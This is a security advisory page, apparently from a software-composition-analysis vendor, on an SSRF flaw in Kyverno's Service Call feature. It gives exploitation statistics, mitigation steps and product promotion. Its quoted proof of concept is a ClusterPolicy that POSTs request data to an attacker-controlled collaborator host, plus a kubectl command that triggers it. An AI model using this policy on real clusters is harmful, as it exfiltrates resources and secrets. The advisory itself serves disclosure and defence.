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GHSA-459x-q9hg-4gpq — kyverno

GHSA-459x-q9hg-4gpq is a Server-Side Request Forgery (SSRF) vulnerability in github.com/kyverno/kyverno. No vendor fix is recorded yet; mitigation options are listed below.

Kyverno vulnerable to SSRF via Service Calls

Also known asBIT-kyverno-2025-15613CVE-2025-15613GO-2025-3615
Published
Apr 15, 2025
Updated
Sep 18, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-459x-q9hg-4gpq.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐹github.com/kyverno/kyverno

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.

Details

According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.

https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls

PoC

Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: check-namespaces      
spec:
  rules:
  - name: call-extension
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    context:
    - name: result
      apiCall:
        method: POST
        data:
        - key: namespace
          value: "{{request.namespace}}"
        service:
          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          
    validate:
      message: "namespace {{request.namespace}} is not allowed"
      deny:
        conditions:
          all:
          - key: "{{ result.allowed }}"
            operator: Equals
            value: false

Now let's create some configmap:

kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm

Look at the Burp Collaborator logs: <img width="723" alt="Снимок экрана 2025-02-21 в 17 31 25" src="https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2" />

Impact

An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/kyverno/kyvernoall versionsNo fix

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/kyverno/kyverno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    No patched version of github.com/kyverno/kyverno has shipped for GHSA-459x-q9hg-4gpq yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-459x-q9hg-4gpq can be triaged on real exposure rather than presence alone.

Tailored to GHSA-459x-q9hg-4gpq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data. ### Details According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster. https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls ### PoC Create a slightly modified Cluster Policy from the
O3 Security · Impact-Aware SCA

Is GHSA-459x-q9hg-4gpq in your dependencies?

O3 Security finds GHSA-459x-q9hg-4gpq across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

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GHSA-459x-q9hg-4gpq: kyverno SSRF | O3 Security